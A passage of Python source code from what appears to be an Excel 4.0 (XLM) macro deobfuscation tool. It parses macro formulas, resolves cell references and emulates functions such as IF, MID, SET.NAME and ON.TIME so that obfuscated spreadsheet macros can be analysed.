elif text == 'true':
result = 1
else:
result = float(text)
return result
def get_parser(self):
xlm_parser = None
grammar_file_path = os.path.join(os.path.dirname(__file__), 'xlm-macro.lark.template')
with open(grammar_file_path, 'r', encoding='utf_8') as grammar_file:
macro_grammar = grammar_file.read()
macro_grammar = macro_grammar.replace('{{XLLEFTBRACKET}}',
self.xlm_wrapper.get_xl_international_char(
XlApplicationInternational.xlLeftBracket))
macro_grammar = macro_grammar.replace('{{XLRIGHTBRACKET}}',
self.xlm_wrapper.get_xl_international_char(
XlApplicationInternational.xlRightBracket))
macro_grammar = macro_grammar.replace('{{XLLISTSEPARATOR}}',
self.xlm_wrapper.get_xl_international_char(
XlApplicationInternational.xlListSeparator))
xlm_parser = Lark(macro_grammar, parser='lalr')
return xlm_parser
def get_formula_cell(self, macrosheet, col, row):
result_cell = None
not_found = False
row = int(row)
current_row = row
current_addr = col + str(current_row)
while current_addr not in macrosheet.cells or \
macrosheet.cells[current_addr].formula is None:
if (current_row - row) < 10000:
current_row += 1
else:
not_found = True
break
current_addr = col + str(current_row)
if not_found is False:
result_cell = macrosheet.cells[current_addr]
return result_cell
def get_range_parts(self, parse_tree):
if isinstance(parse_tree, Tree) and parse_tree.data == 'range':
return parse_tree.children[0], parse_tree.children[-1]
else:
return None, None
def get_cell_addr(self, current_cell, cell_parse_tree):
res_sheet = res_col = res_row = None
if type(cell_parse_tree) is Token:
names = self.xlm_wrapper.get_defined_names()
label = cell_parse_tree.value.lower()
if label in names:
name_val = names[label]
if isinstance(name_val, Tree):
# example: 6a8045bc617df5f2b8f9325ed291ef05ac027144f1fda84e78d5084d26847902
res_sheet, res_col, res_row = self.get_cell_addr(current_cell, name_val)
else:
res_sheet, res_col, res_row = Cell.parse_cell_addr(name_val)
elif label.strip('"') in names:
res_sheet, res_col, res_row = Cell.parse_cell_addr(names[label.strip('"')])
else:
if len(label) > 1 and label.startswith('"') and label.endswith('"'):
label = label.strip('"')
root_parse_tree = self.xlm_parser.parse('=' + label)
res_sheet, res_col, res_row = self.get_cell_addr(current_cell, root_parse_tree.children[0])
else:
if cell_parse_tree.data == 'defined_name':
label = '{}'.format(cell_parse_tree.children[2])
formula_str = self.xlm_wrapper.get_defined_name(label)
parsed_tree = self.xlm_parser.parse('=' + formula_str)
if isinstance(parsed_tree.children[0], Tree) and parsed_tree.children[0].data == 'range':
start_cell, end_cell = self.get_range_parts(parsed_tree.children[0])
cell = start_cell.children[0]
else:
cell = parsed_tree.children[0].children[0]
else:
cell = cell_parse_tree.children[0]
if cell.data == 'a1_notation_cell':
if len(cell.children) == 2:
cell_addr = "'{}'!{}".format(cell.children[0], cell.children[1])
else:
cell_addr = cell.children[0]
res_sheet, res_col, res_row = Cell.parse_cell_addr(cell_addr)
if res_sheet is None and res_col is not None:
res_sheet = current_cell.sheet.name
elif cell.data == 'r1c1_notation_cell':
current_col = Cell.convert_to_column_index(current_cell.column)
current_row = int(current_cell.row)
for current_child in cell.children:
if current_child.type == 'NAME':
res_sheet = current_child.value
elif self.is_float(current_child.value):
val = int(float(current_child.value))
if last_seen == 'r':
res_row = val
else:
res_col = val
elif current_child.value.startswith('['):
val = int(current_child.value[1:-1])
if last_seen == 'r':
res_row = current_row + val
else:
res_col = current_col + val
elif current_child.lower() == 'r':
last_seen = 'r'
res_row = current_row
elif current_child.lower() == 'c':
last_seen = 'c'
res_col = current_col
else:
raise Exception('Cell addresss, Syntax Error')
if res_sheet is None:
res_sheet = current_cell.sheet.name
res_row = str(res_row)
res_col = Cell.convert_to_column_name(res_col)
else:
raise Exception('Cell addresss, Syntax Error')
return res_sheet, res_col, res_row
def get_cell(self, sheet_name, col, row):
result = None
sheets = self.xlm_wrapper.get_macrosheets()
if sheet_name in sheets:
sheet = sheets[sheet_name]
addr = col + str(row)
if addr in sheet.cells:
result = sheet.cells[addr]
else:
sheets = self.xlm_wrapper.get_worksheets()
if sheet_name in sheets:
sheet = sheets[sheet_name]
addr = col + str(row)
if addr in sheet.cells:
result = sheet.cells[addr]
return result
def get_worksheet_cell(self, sheet_name, col, row):
result = None
sheets = self.xlm_wrapper.get_worksheets()
if sheet_name in sheets:
sheet = sheets[sheet_name]
addr = col + str(row)
if addr in sheet.cells:
result = sheet.cells[addr]
return result
def set_cell(self, sheet_name, col, row, text, set_value_only=False):
sheets = self.xlm_wrapper.get_macrosheets()
if sheet_name in sheets:
sheet = sheets[sheet_name]
addr = col + str(row)
if addr not in sheet.cells:
new_cell = Cell()
new_cell.column = col
new_cell.row = row
new_cell.sheet = sheet
sheet.cells[addr] = new_cell
cell = sheet.cells[addr]
text = EvalResult.unwrap_str_literal(text)
if not set_value_only:
if text.startswith('='):
cell.formula = text
else:
cell.formula = None
cell.value = text
@staticmethod
def convert_ptree_to_str(parse_tree_root):
if type(parse_tree_root) == Token:
return str(parse_tree_root)
else:
result = ''
for child in parse_tree_root.children:
result += XLMInterpreter.convert_ptree_to_str(child)
return result
def get_window(self, number):
result = None
if len(self._window_defaults) == 0:
script_dir = os.path.dirname(__file__)
config_dir = os.path.join(script_dir, 'configs')
with open(os.path.join(config_dir, 'get_window.conf'), 'r', encoding='utf_8') as workspace_conf_file:
for index, line in enumerate(workspace_conf_file):
line = line.strip()
if len(line) > 0:
if self.is_float(line) is True:
self._window_defaults[index + 1] = int(float(line))
else:
self._window_defaults[index + 1] = line
if number in self._window_defaults:
result = self._window_defaults[number]
return result
def get_workspace(self, number):
result = None
if len(self._workspace_defaults) == 0:
script_dir = os.path.dirname(__file__)
config_dir = os.path.join(script_dir, 'configs')
with open(os.path.join(config_dir, 'get_workspace.conf'), 'r', encoding='utf_8') as workspace_conf_file:
for index, line in enumerate(workspace_conf_file):
line = line.strip()
if len(line) > 0:
self._workspace_defaults[index + 1] = line
if number in self._workspace_defaults:
result = self._workspace_defaults[number]
return result
def get_default_cell_info(self, number):
result = None
if len(self._cell_defaults) == 0:
script_dir = os.path.dirname(__file__)
config_dir = os.path.join(script_dir, 'configs')
with open(os.path.join(config_dir, 'get_cell.conf'), 'r', encoding='utf_8') as workspace_conf_file:
for index, line in enumerate(workspace_conf_file):
line = line.strip()
if len(line) > 0:
self._cell_defaults[index + 1] = line
if number in self._cell_defaults:
result = self._cell_defaults[number]
return result
def evaluate_formula(self, current_cell, name, arguments, interactive, destination_arg=1, set_value_only=False):
# hash: fa391403aa028fa7b42a9f3491908f6f25414c35bfd104f8cf186220fb3b4f83" --> =FORMULA()
if isinstance(arguments[0], list) and len(arguments[0]) == 0:
return EvalResult(None, EvalStatus.FullEvaluation, False, "{}()".format(name))
source, destination = (arguments[0], arguments[1]) if destination_arg == 1 else (arguments[1], arguments[0])
src_eval_result = self.evaluate_parse_tree(current_cell, source, interactive)
if isinstance(destination, Token):
# TODO: get_defined_name must return a list; currently it returns list or one item
destination = self.xlm_wrapper.get_defined_name(destination)
if isinstance(destination, list):
destination = [] if not destination else destination[0]
if(isinstance(destination, str)):
destination = self.xlm_parser.parse('=' + destination).children[0]
if isinstance(destination, Tree):
if destination.data == 'defined_name' or destination.data == 'name':
defined_name_formula = self.xlm_wrapper.get_defined_name(destination.children[2])
if isinstance(defined_name_formula, Tree):
destination = defined_name_formula
else:
destination = self.xlm_parser.parse('=' + defined_name_formula).children[0]
if destination.data == 'concat_expression' or destination.data == 'function_call':
res = self.evaluate_parse_tree(current_cell, destination, interactive)
if isinstance(res.value, tuple) and len(res.value) == 3:
destination_str = "'{}'!{}{}".format(res.value[0], res.value[1], res.value[2])
dst_start_sheet, dst_start_col, dst_start_row = res.value
else:
destination_str = res.text
dst_start_sheet, dst_start_col, dst_start_row = Cell.parse_cell_addr(destination_str)
dst_end_sheet, dst_end_col, dst_end_row = dst_start_sheet, dst_start_col, dst_start_row
else:
if destination.data == 'range':
dst_start_sheet, dst_start_col, dst_start_row = self.get_cell_addr(current_cell,
destination.children[0])
dst_end_sheet, dst_end_col, dst_end_row = self.get_cell_addr(current_cell, destination.children[2])
else:
dst_start_sheet, dst_start_col, dst_start_row = self.get_cell_addr(current_cell, destination)
dst_end_sheet, dst_end_col, dst_end_row = dst_start_sheet, dst_start_col, dst_start_row
destination_str = XLMInterpreter.convert_ptree_to_str(destination)
text = src_eval_result.get_text(unwrap=True)
if src_eval_result.status == EvalStatus.FullEvaluation:
for row in range(int(dst_start_row), int(dst_end_row) + 1):
for col in range(Cell.convert_to_column_index(dst_start_col),
Cell.convert_to_column_index(dst_end_col) + 1):
if (
dst_start_sheet,
Cell.convert_to_column_name(col) + str(row)) in self.cell_with_unsuccessfull_set:
self.cell_with_unsuccessfull_set.remove((dst_start_sheet,
Cell.convert_to_column_name(col) + str(row)))
self.set_cell(dst_start_sheet,
Cell.convert_to_column_name(col),
str(row),
str(src_eval_result.value),
set_value_only)
else:
for row in range(int(dst_start_row), int(dst_end_row) + 1):
for col in range(Cell.convert_to_column_index(dst_start_col),
Cell.convert_to_column_index(dst_end_col) + 1):
self.cell_with_unsuccessfull_set.add((dst_start_sheet,
Cell.convert_to_column_name(col) + str(row)))
if destination_arg == 1:
text = "{}({},{})".format(name,
src_eval_result.get_text(),
destination_str)
else:
text = "{}({},{})".format(name,
destination_str,
src_eval_result.get_text())
return_val = 0
return EvalResult(None, src_eval_result.status, return_val, text)
def evaluate_argument_list(self, current_cell, name, arguments):
args_str = ''
for argument in arguments:
if type(argument) is Token or type(argument) is Tree:
arg_eval_Result = self.evaluate_parse_tree(current_cell, argument, False)
args_str += arg_eval_Result.get_text() + ','
args_str = args_str.strip(',')
return_val = text = '={}({})'.format(name, args_str)
status = EvalStatus.PartialEvaluation
return EvalResult(None, status, return_val, text)
def evaluate_function(self, current_cell, parse_tree_root, interactive):
# function name can be a string literal (double quoted or unqouted), and Tree (defined name, cell, function_call)
function_name = parse_tree_root.children[0]
function_name_literal = EvalResult.unwrap_str_literal(function_name)
# OFFSET()()
if isinstance(function_name, Tree) and function_name.data == 'function_call':
func_eval_result = self.evaluate_parse_tree(current_cell, function_name, False)
if func_eval_result.status != EvalStatus.FullEvaluation:
return EvalResult(func_eval_result.next_cell, func_eval_result.status, 0,
XLMInterpreter.convert_ptree_to_str(parse_tree_root))
else:
func_eval_result.text = XLMInterpreter.convert_ptree_to_str(parse_tree_root)
return func_eval_result
# handle alias name for a function (REGISTER)
# c45ed3a0ce5df27ac29e0fab99dc4d462f61a0d0c025e9161ced3b2c913d57d8
if function_name_literal in self._registered_functions:
parse_tree_root.children[0] = parse_tree_root.children[0].update(
None, self._registered_functions[function_name_literal]['name'])
return self.evaluate_function(current_cell, parse_tree_root, interactive)
# cell_function_call
if isinstance(function_name, Tree) and function_name.data == 'cell':
self._function_call_stack.append(current_cell)
return self.goto_handler([function_name], current_cell, interactive, parse_tree_root)
# test()
if function_name_literal.lower() in self.defined_names:
try:
ref_parsed = self.xlm_parser.parse('=' + self.defined_names[function_name_literal.lower()])
if isinstance(ref_parsed.children[0], Tree) and ref_parsed.children[0].data == 'cell':
function_name = ref_parsed.children[0]
else:
raise Exception
except:
function_name = self.defined_names[function_name_literal.lower()]
# x!test()
if isinstance(function_name, Tree) and function_name.data == 'defined_name':
function_lable = function_name.children[-1].value
if function_lable.lower() in self.defined_names:
try:
ref_parsed = self.xlm_parser.parse('=' + self.defined_names[function_lable.lower()])
if isinstance(ref_parsed.children[0], Tree) and ref_parsed.children[0].data == 'cell':
function_name = ref_parsed.children[0]
else:
raise Exception
except:
function_name = self.defined_names[function_name_literal.lower()]
# cell_function_call
if isinstance(function_name, Tree) and function_name.data == 'cell':
self._function_call_stack.append(current_cell)
return self.goto_handler([function_name], current_cell, interactive, parse_tree_root)
if self.ignore_processing and function_name_literal != 'NEXT':
return EvalResult(None, EvalStatus.IGNORED, 0, '')
arguments = []
for i in parse_tree_root.children[2].children:
if type(i) is not Token:
if len(i.children) > 0:
arguments.append(i.children[0])
else:
arguments.append(i.children)
if function_name_literal in self._handlers:
eval_result = self._handlers[function_name_literal](arguments, current_cell, interactive, parse_tree_root)
else:
eval_result = self.evaluate_argument_list(current_cell, function_name_literal, arguments)
if function_name_literal in XLMInterpreter.jump_functions:
eval_result.output_level = 0
elif function_name_literal in XLMInterpreter.important_functions:
eval_result.output_level = 2
else:
eval_result.output_level = 1
return eval_result
# region Handlers
def and_handler(self, arguments, current_cell, interactive, parse_tree_root):
value = True
status = EvalStatus.FullEvaluation
for arg in arguments:
arg_eval_result = self.evaluate_parse_tree(current_cell, arg, interactive)
if arg_eval_result.status == EvalStatus.FullEvaluation:
if EvalResult.unwrap_str_literal(str(arg_eval_result.value)).lower() != "true":
value = False
break
else:
status = EvalStatus.PartialEvaluation
value = False
break
return EvalResult(None, status, value, str(value))
def or_handler(self, arguments, current_cell, interactive, parse_tree_root):
value = False
status = EvalStatus.FullEvaluation
for arg in arguments:
arg_eval_result = self.evaluate_parse_tree(current_cell, arg, interactive)
if arg_eval_result.status == EvalStatus.FullEvaluation:
if EvalResult.unwrap_str_literal(str(arg_eval_result.value)).lower() == "true":
value = True
break
else:
status = EvalStatus.PartialEvaluation
break
return EvalResult(None, status, value, str(value))
def hlookup_handler(self, arguments, current_cell, interactive, parse_tree_root):
status = EvalStatus.FullEvaluation
value = ""
arg_eval_result1 = self.evaluate_parse_tree(current_cell, arguments[0], interactive)
arg_eval_result2 = self.evaluate_parse_tree(current_cell, arguments[1], interactive)
arg_eval_result3 = self.evaluate_parse_tree(current_cell, arguments[2], interactive)
arg_eval_result4 = self.evaluate_parse_tree(current_cell, arguments[3], interactive)
regex = arg_eval_result1.text.strip('"')
if regex == '*':
regex = ".*"
if arg_eval_result4.value == "FALSE":
sheet_name, startcolumn, startrow, endcolumn, endrow = Cell.parse_range_addr(arg_eval_result2.text)
status = EvalStatus.FullEvaluation
start_col_index = Cell.convert_to_column_index(startcolumn)
end_col_index = Cell.convert_to_column_index(endcolumn)
start_row_index = int(startrow) + int(arg_eval_result3.value) - 1
end_row_index = int(endrow)
for row in range(start_row_index, end_row_index + 1):
for col in range(start_col_index, end_col_index + 1):
if (sheet_name != None):
cell = self.get_worksheet_cell(sheet_name,
Cell.convert_to_column_name(col),
str(row))
else:
cell = self.get_cell(current_cell.sheet.name,
Cell.convert_to_column_name(col),
str(row))
if cell and re.match(regex, cell.value):
return EvalResult(None, status, cell.value, str(cell.value))
else:
status = EvalStatus.PartialEvaluation
return EvalResult(None, status, value, str(value))
def not_handler(self, arguments, current_cell, interactive, parse_tree_root):
value = True
status = EvalStatus.FullEvaluation
arg_eval_result = self.evaluate_parse_tree(current_cell, arguments[0], interactive)
if arg_eval_result.status == EvalStatus.FullEvaluation:
if EvalResult.unwrap_str_literal(str(arg_eval_result.value)).lower() == "true":
value = False
else:
status = EvalStatus.PartialEvaluation
return EvalResult(None, status, value, str(value))
def code_handler(self, arguments, current_cell, interactive, parse_tree_root):
status = EvalStatus.FullEvaluation
value = 0
arg_eval_result = self.evaluate_parse_tree(current_cell, arguments[0], interactive)
if arg_eval_result.status == EvalStatus.FullEvaluation:
if arg_eval_result.text != '':
value = ord(arg_eval_result.text[0])
if value > 256 and value in XLMInterpreter.unicode_to_latin1_map:
value = XLMInterpreter.unicode_to_latin1_map[value]
else:
status = EvalStatus.PartialEvaluation
return EvalResult(None, status, value, str(value))
def sum_handler(self, arguments, current_cell, interactive, parse_tree_root):
status = EvalStatus.FullEvaluation
value = 0
it = 0
for arg in arguments:
arg_eval_result = self.evaluate_parse_tree(current_cell, arguments[it], interactive)
value = value + float(arg_eval_result.value)
status = arg_eval_result.status
it = it + 1
return EvalResult(None, status, value, str(value))
def randbetween_handler(self, arguments, current_cell, interactive, parse_tree_root):
arg_eval_result1 = self.evaluate_parse_tree(current_cell, arguments[0], interactive)
arg_eval_result2 = self.evaluate_parse_tree(current_cell, arguments[1], interactive)
value = 0
# Initial implementation for integer
if arg_eval_result1.status == EvalStatus.FullEvaluation and arg_eval_result2.status == EvalStatus.FullEvaluation:
status = EvalStatus.FullEvaluation
value = random.randint(int(float(arg_eval_result1.value)), int(float(arg_eval_result2.value)))
return EvalResult(None, status, value, str(value))
def text_handler(self, arguments, current_cell, interactive, parse_tree_root):
arg_eval_result1 = self.evaluate_parse_tree(current_cell, arguments[0], interactive)
arg_eval_result2 = self.evaluate_parse_tree(current_cell, arguments[1], interactive)
value = 0
status = EvalStatus.PartialEvaluation
# Initial implementation for integer
if arg_eval_result1.status == EvalStatus.FullEvaluation and int(arg_eval_result2.text.strip('\"')) == 0:
status = EvalStatus.FullEvaluation
value = int(arg_eval_result1.value)
return EvalResult(None, status, value, str(value))
def active_cell_handler(self, arguments, current_cell, interactive, parse_tree_root):
status = EvalStatus.PartialEvaluation
if self.active_cell:
if self.active_cell.formula:
parse_tree = self.xlm_parser.parse(self.active_cell.formula)
eval_res = self.evaluate_parse_tree(current_cell, parse_tree, interactive)
val = eval_res.value
status = eval_res.status
else:
val = self.active_cell.value
status = EvalStatus.FullEvaluation
return_val = val
text = str(return_val)
else:
text = XLMInterpreter.convert_ptree_to_str(parse_tree_root)
return_val = text
return EvalResult(None, status, return_val, text)
def get_cell_handler(self, arguments, current_cell, interactive, parse_tree_root):
if len(arguments) == 2:
arg1_eval_result = self.evaluate_parse_tree(current_cell, arguments[0], interactive)
dst_sheet, dst_col, dst_row = self.get_cell_addr(current_cell, arguments[1])
type_id = arg1_eval_result.value
if self.is_float(type_id):
type_id = int(float(type_id))
if dst_sheet is None:
dst_sheet = current_cell.sheet.name
status = EvalStatus.PartialEvaluation
if arg1_eval_result.status == EvalStatus.FullEvaluation:
data, not_exist, not_implemented = self.xlm_wrapper.get_cell_info(dst_sheet, dst_col, dst_row, type_id)
if not_exist and 1 == 2:
return_val = self.get_default_cell_info(type_id)
text = str(return_val)
status = EvalStatus.FullEvaluation
elif not_implemented:
text = XLMInterpreter.convert_ptree_to_str(parse_tree_root)
return_val = ''
else:
text = str(data) if data is not None else None
return_val = data
status = EvalStatus.FullEvaluation
else:
text = XLMInterpreter.convert_ptree_to_str(parse_tree_root)
return_val = ''
status = EvalStatus.PartialEvaluation
return EvalResult(None, status, return_val, text)
def set_name_handler(self, arguments, current_cell, interactive, parse_tree_root):
label = EvalResult.unwrap_str_literal(XLMInterpreter.convert_ptree_to_str(arguments[0])).lower()
if isinstance(arguments[1], Tree) and arguments[1].data == 'cell':
arg2_text = XLMInterpreter.convert_ptree_to_str(arguments[1])
names = self.xlm_wrapper.get_defined_names()
names[label] = arguments[1]
text = 'SET.NAME({},{})'.format(label, arg2_text)
return_val = 0
status = EvalStatus.FullEvaluation
else:
arg2_eval_result = self.evaluate_parse_tree(current_cell, arguments[1], interactive)
if arg2_eval_result.status is EvalStatus.FullEvaluation:
arg2_text = arg2_eval_result.get_text(unwrap=True)
names = self.xlm_wrapper.get_defined_names()
if isinstance(arg2_eval_result.value, Cell):
names[label] = arg2_eval_result.value
else:
names[label] = arg2_text
text = 'SET.NAME({},{})'.format(label, arg2_text)
return_val = 0
status = EvalStatus.FullEvaluation
else:
return_val = text = XLMInterpreter.convert_ptree_to_str(parse_tree_root)
status = arg2_eval_result.status
return EvalResult(None, status, return_val, text)
def end_if_handler(self, arguments, current_cell, interactive, parse_tree_root):
self._indent_level -= 1
self._indent_current_line = True
status = EvalStatus.FullEvaluation
return EvalResult(None, status, 'END.IF', 'END.IF')
def get_workspace_handler(self, arguments, current_cell, interactive, parse_tree_root):
status = EvalStatus.PartialEvaluation
if len(arguments) == 1:
arg1_eval_Result = self.evaluate_parse_tree(current_cell, arguments[0], interactive)
if arg1_eval_Result.status == EvalStatus.FullEvaluation and self.is_float(arg1_eval_Result.get_text()):
workspace_param = self.get_workspace(int(float(arg1_eval_Result.get_text())))
# current_cell.value = workspace_param
text = 'GET.WORKSPACE({})'.format(arg1_eval_Result.get_text())
return_val = workspace_param
status = EvalStatus.FullEvaluation
next_cell = None
if status == EvalStatus.PartialEvaluation:
return_val = text = XLMInterpreter.convert_ptree_to_str(parse_tree_root)
return EvalResult(None, status, return_val, text)
def get_window_handler(self, arguments, current_cell, interactive, parse_tree_root):
status = EvalStatus.Error
if len(arguments) == 1:
arg_eval_result = self.evaluate_parse_tree(current_cell, arguments[0], interactive)
if arg_eval_result.status == EvalStatus.FullEvaluation and self.is_float(arg_eval_result.get_text()):
window_param = self.get_window(int(float(arg_eval_result.get_text())))
# current_cell.value = window_param
text = window_param # XLMInterpreter.convert_ptree_to_str(parse_tree_root)
return_val = window_param
# Overwrites to take actual values from the workbook instead of default config
if int(float(arg_eval_result.get_text())) == 1 or int(float(arg_eval_result.get_text())) == 30:
return_val = "[" + self.xlm_wrapper.get_workbook_name() + "]" + current_cell.sheet.name
status = EvalStatus.FullEvaluation
status = EvalStatus.FullEvaluation
else:
return_val = text = 'GET.WINDOW({})'.format(arg_eval_result.get_text())
status = arg_eval_result.status
if status == EvalStatus.Error:
return_val = text = XLMInterpreter.convert_ptree_to_str(parse_tree_root)
return EvalResult(None, status, return_val, text)
def get_document_handler(self, arguments, current_cell, interactive, parse_tree_root):
status = EvalStatus.Error
arg_eval_result = self.evaluate_parse_tree(current_cell, arguments[0], interactive)
return_val = ""
# Static implementation
if self.is_int(arg_eval_result.value):
status = EvalStatus.PartialEvaluation
if int(arg_eval_result.value) == 76:
return_val = "[" + self.xlm_wrapper.get_workbook_name() + "]" + current_cell.sheet.name
status = EvalStatus.FullEvaluation
elif int(arg_eval_result.value) == 88:
return_val = self.xlm_wrapper.get_workbook_name()
status = EvalStatus.FullEvaluation
text = return_val
return EvalResult(None, status, return_val, text)
def on_time_handler(self, arguments, current_cell, interactive, parse_tree_root):
status = EvalStatus.Error
if len(arguments) == 2:
arg1_eval_result = self.evaluate_parse_tree(current_cell, arguments[0], interactive)
next_sheet, next_col, next_row = self.get_cell_addr(current_cell, arguments[1])
sheets = self.xlm_wrapper.get_macrosheets()
if next_sheet in sheets:
next_cell = self.get_formula_cell(sheets[next_sheet], next_col, next_row)
text = 'ON.TIME({},{})'.format(arg1_eval_result.get_text(), str(next_cell))
status = EvalStatus.FullEvaluation
return_val = 0
return_val = text = XLMInterpreter.convert_ptree_to_str(parse_tree_root)
if status == EvalStatus.Error:
next_cell = None
return EvalResult(next_cell, status, return_val, text)
def app_maximize_handler(self, arguments, current_cell, interactive, parse_tree_root):
status = EvalStatus.FullEvaluation
return_val = True
text = str(return_val)
return EvalResult(None, status, return_val, text)
def concatenate_handler(self, arguments, current_cell, interactive, parse_tree_root):
text = ''
for arg in arguments:
arg_eval_result = self.evaluate_parse_tree(current_cell, arg, interactive)
text += arg_eval_result.get_text(unwrap=True)
return_val = text
text = EvalResult.wrap_str_literal(text)
status = EvalStatus.FullEvaluation
return EvalResult(None, status, return_val, text)
def day_handler(self, arguments, current_cell, interactive, parse_tree_root):
if self.day_of_month is None:
arg1_eval_result = self.evaluate_parse_tree(current_cell, arguments[0], interactive)
if arg1_eval_result.status == EvalStatus.FullEvaluation:
if type(arg1_eval_result.value) is datetime.datetime:
#
# text = str(arg1_eval_result.value.day)
# return_val = text
# status = EvalStatus.FullEvaluation
return_val, status, text = self.guess_day()
elif self.is_float(arg1_eval_result.value):
text = 'DAY(Serial Date)'
status = EvalStatus.NotImplemented
else:
text = XLMInterpreter.convert_ptree_to_str(parse_tree_root)
status = arg1_eval_result.status
else:
text = str(self.day_of_month)
return_val = text
status = EvalStatus.FullEvaluation
return EvalResult(None, status, return_val, text)
def guess_day(self):
xlm = self
min = 1
best_day = 0
for day in range(1, 32):
xlm.char_error_count = 0
non_printable_ascii = 0
total_count = 0
xlm = copy.copy(xlm)
xlm.day_of_month = day
try:
for index, step in enumerate(xlm.deobfuscate_macro(False, silent_mode=True)):
for char in step[2]:
if not (32 <= ord(char) <= 128):
non_printable_ascii += 1
total_count += len(step[2])
if index > 10 and ((non_printable_ascii + xlm.char_error_count) / total_count) > min:
break
if total_count != 0 and ((non_printable_ascii + xlm.char_error_count) / total_count) < min:
min = ((non_printable_ascii + xlm.char_error_count) / total_count)
best_day = day
if min == 0:
break
except Exception as exp:
pass
self.day_of_month = best_day
text = str(self.day_of_month)
return_val = text
status = EvalStatus.FullEvaluation
return return_val, status, text
#https://stackoverflow.com/questions/9574793/how-to-convert-a-python-datetime-datetime-to-excel-serial-date-number
def excel_date(self, date1):
temp = datetime.datetime(1899, 12, 30) # Note, not 31st Dec but 30th!
delta = date1 - temp
return float(delta.days) + (float(delta.seconds) / 86400)
def now_handler(self, arguments, current_cell, interactive, parse_tree_root):
return_val = text = self.excel_date(datetime.datetime.now() + datetime.timedelta(seconds=self._now_count * self._now_step))
self._now_count += 1
status = EvalStatus.FullEvaluation
return EvalResult(None, status, return_val, text)
def value_handler(self, arguments, current_cell, interactive, parse_tree_root):
return_val_result = self.evaluate_parse_tree(current_cell, arguments[0], interactive)
status = EvalStatus.FullEvaluation
value = EvalResult.unwrap_str_literal(return_val_result.value)
if EvalResult.is_int(value):
return_val = int(value)
text = str(return_val)
elif EvalResult.is_float(value):
return_val = float(value)
text = str(return_val)
else:
status = EvalStatus.Error
text = self.convert_ptree_to_str(parse_tree_root)
return_val = 0
return EvalResult(None, status, return_val, text)
def if_handler(self, arguments, current_cell, interactive, parse_tree_root):
visited = False
for stack_frame in self._branch_stack:
if stack_frame[0].get_local_address() == current_cell.get_local_address():
visited = True
if visited is False:
# self._indent_level += 1
size = len(arguments)
if size == 3:
cond_eval_result = self.evaluate_parse_tree(current_cell, arguments[0], interactive)
if self.is_bool(cond_eval_result.value):
cond_eval_result.value = bool(strtobool(cond_eval_result.value))
elif self.is_int(cond_eval_result.value):
if int(cond_eval_result.value) == 0:
cond_eval_result.value = False
else:
cond_eval_result.value = True
if cond_eval_result.status == EvalStatus.FullEvaluation:
if cond_eval_result.value:
if type(arguments[1]) is Tree or type(arguments[1]) is Token:
self._branch_stack.append(
(current_cell, arguments[1], current_cell.sheet.cells, self._indent_level, '[TRUE]'))
status = EvalStatus.Branching
else:
status = EvalStatus.FullEvaluation
else:
if type(arguments[2]) is Tree or type(arguments[2]) is Token:
self._branch_stack.append(
(current_cell, arguments[2], current_cell.sheet.cells, self._indent_level, '[FALSE]'))
status = EvalStatus.Branching
else:
status = EvalStatus.FullEvaluation
text = XLMInterpreter.convert_ptree_to_str(parse_tree_root)
else:
memory_state = copy.deepcopy(current_cell.sheet.cells)
if type(arguments[2]) is Tree or type(arguments[2]) is Token or type(arguments[2]) is list:
self._branch_stack.append(
(current_cell, arguments[2], memory_state, self._indent_level, '[FALSE]'))
if type(arguments[1]) is Tree or type(arguments[1]) is Token or type(arguments[1]) is list:
self._branch_stack.append(
(current_cell, arguments[1], current_cell.sheet.cells, self._indent_level, '[TRUE]'))
text = XLMInterpreter.convert_ptree_to_str(parse_tree_root)
status = EvalStatus.FullBranching
else:
status = EvalStatus.FullEvaluation
text = XLMInterpreter.convert_ptree_to_str(parse_tree_root)
else:
# loop detected
text = '[[LOOP]]: ' + XLMInterpreter.convert_ptree_to_str(parse_tree_root)
status = EvalStatus.End
return EvalResult(None, status, 0, text)
def mid_handler(self, arguments, current_cell, interactive, parse_tree_root):
str_eval_result = self.evaluate_parse_tree(current_cell, arguments[0], interactive)
base_eval_result = self.evaluate_parse_tree(current_cell, arguments[1], interactive)
len_eval_result = self.evaluate_parse_tree(current_cell, arguments[2], interactive)
status = EvalStatus.PartialEvaluation
return_val = ""
if str_eval_result.status == EvalStatus.FullEvaluation:
if base_eval_result.status == EvalStatus.FullEvaluation and \
len_eval_result.status == EvalStatus.FullEvaluation:
if self.is_float(base_eval_result.value) and self.is_float(len_eval_result.value):
base = int(float(base_eval_result.value)) - 1
length = int(float(len_eval_result.value))
return_val = EvalResult.unwrap_str_literal(str_eval_result.value)[base: base + length]
text = str(return_val)
status = EvalStatus.FullEvaluation
if status == EvalStatus.PartialEvaluation:
text = 'MID({},{},{})'.format(XLMInterpreter.convert_ptree_to_str(arguments[0]),
XLMInterpreter.convert_ptree_to_str(arguments[1]),
XLMInterpreter.convert_ptree_to_str(arguments[2]))
return EvalResult(None, status, return_val, text)
def min_handler(self, arguments, current_cell, interactive, parse_tree_root):
min = None
status = EvalStatus.PartialEvaluation
for argument in arguments:
arg_eval_result = self.evaluate_parse_tree(current_cell, argument, interactive)
if arg_eval_result.status == EvalStatus.FullEvaluation:
cur_val = self.convert_float(arg_eval_result.value)
if not min or cur_val < min:
min = cur_val
else:
min = None
break
if min:
return_val = min
text = str(min)
status = EvalStatus.FullEvaluation
else:
text = return_val = self.convert_ptree_to_str(parse_tree_root)
return EvalResult(None, status, return_val, text)
def max_handler(self, arguments, current_cell, interactive, parse_tree_root):
max = None
status = EvalStatus.PartialEvaluation
for argument in arguments:
arg_eval_result = self.evaluate_parse_tree(current_cell, argument, interactive)
if arg_eval_result.status == EvalStatus.FullEvaluation:
cur_val = self.convert_float(arg_eval_result.value)
if not max or cur_val > max:
max = cur_val
else:
max = None
break
if max:
return_val = max
text = str(max)
status = EvalStatus.FullEvaluation
else:
text = return_val = self.convert_ptree_to_str(parse_tree_root)
return EvalResult(None, status, return_val, text)
def product_handler(self, arguments, current_cell, interactive, parse_tree_root):
total = None
status = EvalStatus.PartialEvaluation
for argument in arguments:
arg_eval_result = self.evaluate_parse_tree(current_cell, argument, interactive)
if arg_eval_result.status == EvalStatus.FullEvaluation:
if not total:
total = self.convert_float(arg_eval_result.value)
else:
total *= self.convert_float(arg_eval_result.value)
else:
total = None
break
if total:
return_val = total
text = str(total)
status = EvalStatus.FullEvaluation
else:
text = return_val = self.convert_ptree_to_str(parse_tree_root)
return EvalResult(None, status, return_val, text)
def mod_handler(self, arguments, current_cell, interactive, parse_tree_root):
arg1_eval_res = self.evaluate_parse_tree(current_cell, arguments[0], interactive)
